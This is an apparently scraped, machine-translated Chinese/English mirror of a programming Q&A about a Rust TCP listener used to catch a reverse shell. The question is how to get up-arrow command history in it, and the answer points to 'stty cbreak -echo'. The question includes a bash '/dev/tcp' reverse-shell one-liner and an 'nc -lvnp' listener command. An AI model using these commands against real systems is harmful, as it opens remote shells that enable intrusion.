简体   繁体   English

Rust 反向 Shell 最近命令 On Up 按键

[英]Rust Reverse Shell Recent Command On Up Key Press

I have this rust reverse shell that listens on a ports and awaits a connection.我有这个 rust 反向 shell 侦听端口并等待连接。
Then I can run something like /bin/bash -c 'bash -i >& /dev/tcp/0.0.0.0/55100 0>&1' to get a reverse shell.然后我可以运行/bin/bash -c 'bash -i >& /dev/tcp/0.0.0.0/55100 0>&1'来获得反向 shell。

fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where
    R: std::io::Read + Send + 'static,
    W: std::io::Write + Send + 'static,
{
    std::thread::spawn(move || {
        let mut buffer = [0; 1024];
        loop {
            let len = r.read(&mut buffer).unwrap();
            if len == 0 {
                println!("Connection lost");
                std::process::exit(0x0100);
            }
            w.write(&buffer[..len]).unwrap();
            w.flush().unwrap();
        }
    })
}

fn listen() -> std::io::Result<()> {
    let listener = std::net::TcpListener::bind(format!("{}:{}", "0.0.0.0", "55100"))?;
    println!("Started listener");

    let (stream, _) = listener.accept()?;
    let t1 = pipe_thread(std::io::stdin(), stream.try_clone()?);
    println!("Connection recieved");
    let t2 = pipe_thread(stream, std::io::stdout());
    t1.join().unwrap();
    t2.join().unwrap();

    return Ok(());
}

Everything works fine execept that it doesn't put the most recent command in the input when I press the up arrow on my keyboard, Instead it puts ^[[A一切正常,除了当我按下键盘上的向上箭头时它没有将最新的命令放入输入中,而是放入^[[A

[root@arch ~]$ echo hello
echo hello
hello
[root@arch ~]$ ^[[A <------
echo hello
hello
[root@arch ~]$ 

As you can see here it runs the most recent command perfectly.正如您在此处看到的,它完美地运行最新的命令。 But it doesn't put the command in the input as it would do in a normal shell.但它不会像在普通 shell 中那样将命令放入输入中。 I guess that is because it only sends stuff to the shell when you press enter.我猜那是因为当你按下回车键时它只会向 shell 发送东西。

I have already tried rustyline like this but it removed the entire user and directory ( [root@arch ~]$ ) when pressing the up arrow or doing anything else related to it.我已经尝试过像这样的 rustyline,但是当按下向上箭头或执行任何其他相关操作时,它删除了整个用户和目录( [root@arch ~]$ )。

use rustyline::error::ReadlineError;
use rustyline::Editor;
use std::io::Write;

fn pipe_thread<R, W>(mut r: R, mut w: W) -> std::thread::JoinHandle<()>
where
    R: std::io::Read + Send + 'static,
    W: std::io::Write + Send + 'static,
{
    std::thread::spawn(move || {
        let mut buffer = [0; 1024];
        loop {
            let len = r.read(&mut buffer).unwrap();
            if len == 0 {
                println!("Connection lost");
                std::process::exit(0x0100);
            }
            w.write(&buffer[..len]).unwrap();
            w.flush().unwrap();
        }
    })
}

fn main() -> std::io::Result<()> {
    let listener = std::net::TcpListener::bind(format!("{}:{}", "0.0.0.0", "55100"))?;
    println!("Started listener");

    let (mut stream, _) = listener.accept()?;
    println!("Connection recieved");
    let t = pipe_thread(stream.try_clone().unwrap(), std::io::stdout());

    let mut rl = Editor::<()>::new();
    loop {
        let readline = rl.readline(">> ");
        match readline {
            Ok(command) => {
                rl.add_history_entry(command.as_str());

                // Clone command to increase its lifetime
                let command = command.clone() + "\n";

                // Send a TCP message
                stream
                    .write(command.as_bytes())
                    .expect("Faild to send TCP.");
            }
            Err(ReadlineError::Interrupted) => {
                println!("CTRL-C");
                break;
            }
            Err(ReadlineError::Eof) => {
                println!("CTRL-D");
                break;
            }
            Err(err) => {
                println!("Error: {:?}", err);
                break;
            }
        }
    }

    return Ok(());
}

So if there is a possibility to put the recent command in the input when the up arrow is pressed without using rustyline & storing the history locally?因此,如果有可能在按下向上箭头而不使用 rustyline 并在本地存储历史记录时将最近的命令放入输入中

So it would look something like this:所以它看起来像这样:

[root@arch ~]$ echo hello
hello
[root@arch ~]$ echo hello (up arrow pressed)
hello
[root@arch ~]$ 

Summary of what I am seeking how to do!我正在寻求如何做的总结!
That it live updates the input when pressing the up key for example.例如,当按下向上键时,它会实时更新输入。
Basically changing the input in real time when the up key is pressed like rlwrap -cAr nc -lvnp 55100基本上在按下向上键时实时更改输入,例如 rlwrap -cAr nc -lvnp 55100
for example例如

[root@arch ~]$ echo hello
echo hello <------ ==|==
hello

Instead of showing it under when enter is pressed, I would want it to be in the input in real time我不想在按下输入时显示它,而是希望它实时出现在输入中

You were right in your assessment that your initial attempt didn't work due to line buffering.您的评估是正确的,由于线路缓冲,您的初始尝试没有奏效。 The proper way to fix this is by disabling it.解决此问题的正确方法是禁用它。 I've got this to work by running stty cbreak -echo ;我可以通过运行stty cbreak -echo来实现这一点; either spawn this by the process itself, or simply use stty cbreak -echo && cargo run .要么通过进程本身产生它,要么简单地使用stty cbreak -echo && cargo run

In the above command, cbreak disables the line buffering and -echo disables the automatic printing of the character by the terminal, since that is done by the shell.在上述命令中, cbreak禁用行缓冲, -echo禁用终端自动打印字符,因为这是由 shell 完成的。 If you look at your first output, you'll see that happens there, too.如果您查看您的第一个 output,您也会看到这种情况。

This only works on unix-like systems.这仅适用于类 Unix 系统。 Windows might have a winapi call that does the same thing. Windows 可能有一个做同样事情的 winapi 调用。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM